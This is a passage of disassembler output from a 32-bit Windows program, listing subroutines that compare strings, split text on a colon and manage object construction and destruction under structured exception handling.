jz short loc_413E76
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413E7A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413E56
loc_413E76: ; CODE XREF: sub_413DA0+C0j
xor eax, eax
jmp short loc_413E7F
; ---------------------------------------------------------------------------
loc_413E7A: ; CODE XREF: sub_413DA0+BCj
; sub_413DA0+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413E7F: ; CODE XREF: sub_413DA0+D8j
cmp eax, ebx
jnz loc_413F8E
loc_413E87: ; CODE XREF: sub_413DA0+A1j
push offset byte_446F60
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413EE3
lea ecx, [edi+3Fh]
call sub_4017E4
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017E4
loc_413EB2: ; CODE XREF: sub_413DA0+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413ED6
cmp cl, bl
jz short loc_413ED2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413ED6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413EB2
loc_413ED2: ; CODE XREF: sub_413DA0+11Cj
xor eax, eax
jmp short loc_413EDB
; ---------------------------------------------------------------------------
loc_413ED6: ; CODE XREF: sub_413DA0+118j
; sub_413DA0+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413EDB: ; CODE XREF: sub_413DA0+134j
cmp eax, ebx
jnz loc_413F8E
loc_413EE3: ; CODE XREF: sub_413DA0+FAj
push 58h
call sub_4367FA
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413F03
mov ecx, eax
call sub_401D07
jmp short loc_413F05
; ---------------------------------------------------------------------------
loc_413F03: ; CODE XREF: sub_413DA0+158j
xor eax, eax
loc_413F05: ; CODE XREF: sub_413DA0+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40200E
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40200E
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401406
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_413FDB
; ---------------------------------------------------------------------------
loc_413F8E: ; CODE XREF: sub_413DA0+44j
; sub_413DA0+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_413FDB: ; CODE XREF: sub_413DA0+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413DA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414090 proc near ; CODE XREF: sub_401D07j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414090 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414120: ; CODE XREF: ___:00401DC0j
push 0FFFFFFFFh
push offset loc_439C10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401861
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_40189D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414210 proc near ; CODE XREF: sub_401537j
add ecx, 6Ch
jmp sub_401C62
sub_414210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414230 proc near ; CODE XREF: sub_40137Fj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
arg_30 = byte ptr 34h
arg_48 = byte ptr 4Ch
push 0FFFFFFFFh
push offset SEH_414230
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_4367FA
add esp, 4
mov [esp+18h+var_10], eax
test eax, eax
mov byte ptr [esp+18h+var_4], 4
jz short loc_414273
mov ecx, eax
call sub_401BE0
jmp short loc_414275
; ---------------------------------------------------------------------------
loc_414273: ; CODE XREF: sub_414230+38j
xor eax, eax
loc_414275: ; CODE XREF: sub_414230+41j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 3
push ecx
mov ecx, eax
mov [esp+1Ch+var_14], eax
call sub_40200E
mov eax, [esp+18h+var_14]
lea edx, [esp+18h+arg_18]
push edx
lea ecx, [eax+15h]
call sub_40200E
mov edx, [esp+18h+var_14]
lea ecx, [esp+18h+arg_30]
push ecx
lea ecx, [edx+2Ah]
call sub_40200E
mov ecx, [esp+18h+var_14]
lea eax, [esp+18h+arg_48]
push eax
add ecx, 3Fh
call sub_40200E
lea edx, [esp+18h+var_14]
lea ecx, [esi+60h]
push edx
call sub_401EF1
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 2
call sub_401226
lea ecx, [esp+18h+arg_18]
mov byte ptr [esp+18h+var_4], 1
call sub_401226
lea ecx, [esp+18h+arg_30]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_48]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
sub_414230 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414360 proc near ; CODE XREF: sub_401BE0j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_401424
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_414360 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414400: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_439CD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4144D0 proc near ; CODE XREF: sub_401DACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4144D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E1F
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jz short loc_414580
loc_414535: ; CODE XREF: sub_4144D0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_41455D
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41455D: ; CODE XREF: sub_4144D0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020A4
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jnz short loc_414535
loc_414580: ; CODE XREF: sub_4144D0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_4145C8
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_4145A3
push 1
call sub_4019DD
loc_4145A3: ; CODE XREF: sub_4144D0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_4145C8: ; CODE XREF: sub_4144D0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4144D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414640 proc near ; CODE XREF: sub_4019DDj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402220
test [esp+4+arg_0], 1
jz short loc_414658
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414658: ; CODE XREF: sub_414640+Dj
mov eax, esi
pop esi
retn 4
sub_414640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414670 proc near ; CODE XREF: sub_402220j
jmp sub_401226
sub_414670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_439D20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_443C84 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414759
loc_4146F3: ; CODE XREF: ___:00414757j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_443C84 ; ":"
push esi
push edx
call sub_4016AE
mov ecx, ebp
call sub_401DAC
cmp al, bl
jnz short loc_414720
mov [esp+13h], bl
loc_414720: ; CODE XREF: ___:0041471Aj
inc esi
push offset asc_443C84 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4146F3
loc_414759: ; CODE XREF: ___:004146F1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4147D0 proc near ; CODE XREF: sub_40210Dj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4147D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017E4
test eax, eax
jz loc_414904
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402252
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_4148AE
loc_414844: ; CODE XREF: sub_4147D0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B72
test eax, eax
jz short loc_41487C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
jnz short loc_41488B
loc_41487C: ; CODE XREF: sub_4147D0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41488B: ; CODE XREF: sub_4147D0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414844
loc_4148AE: ; CODE XREF: sub_4147D0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_414904
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_402130
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4148D1
push 1
call sub_4016FE
loc_4148D1: ; CODE XREF: sub_4147D0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_414904: ; CODE XREF: sub_4147D0+2Ej
; sub_4147D0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4147D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149A0 proc near ; CODE XREF: sub_4016FEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A5A
test [esp+4+arg_0], 1
jz short loc_4149B8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4149B8: ; CODE XREF: sub_4149A0+Dj
mov eax, esi
pop esi
retn 4
sub_4149A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149D0 proc near ; CODE XREF: sub_401A5Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4149D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4149D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414A60: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_439D98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40210D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414AF0: ; CODE XREF: ___:00401B31j
push 0FFFFFFFFh
push offset loc_439DB8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017E4
test eax, eax
jz loc_414BF7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401983
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jz short loc_414BAF
loc_414B64: ; CODE XREF: ___:00414BADj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_414B8C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414B8C: ; CODE XREF: ___:00414B7Bj
lea ecx, [esp+4]
call sub_4018B6
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jnz short loc_414B64
loc_414BAF: ; CODE XREF: ___:00414B62j
mov eax, [esp+8]
test eax, eax
jz short loc_414BF7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414BD2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BC9j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414BF7: ; CODE XREF: ___:00414B1Ej
; ___:00414BB5j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414C70 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B45
sub_414C70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414C88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414C88: ; CODE XREF: ___:00414C7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414CA0 proc near ; CODE XREF: sub_401B45j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414CA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401578
sub_414CA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414D40 proc near ; CODE XREF: sub_4014BFj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414D40
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414E3B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014C9
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_446F60
call sub_401861
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C8E
mov [esp+88h+var_4], ebx
call sub_40210D
test al, al
jz loc_414F70
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019B5
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414E3B: ; CODE XREF: sub_414D40+36j
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F70
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014C9
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014C9
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014C9
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_443600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_443600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C8E
mov [esp+0D0h+var_4], ebx
call sub_40189D
test al, al
jz short loc_414F70
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019B5
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F70: ; CODE XREF: sub_414D40+82j
; sub_414D40+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414D40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415030 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401EBA
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_415030 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415070 proc near ; CODE XREF: sub_40171Cj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401EBA
lea ecx, [esp+10h+arg_0]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016CC
mov edx, [eax]
lea eax, [esp+10h+var_8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_40172B
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
sub_415070 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4150F0 proc near ; CODE XREF: sub_401578j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D89
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401465
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CD5
sub_4150F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
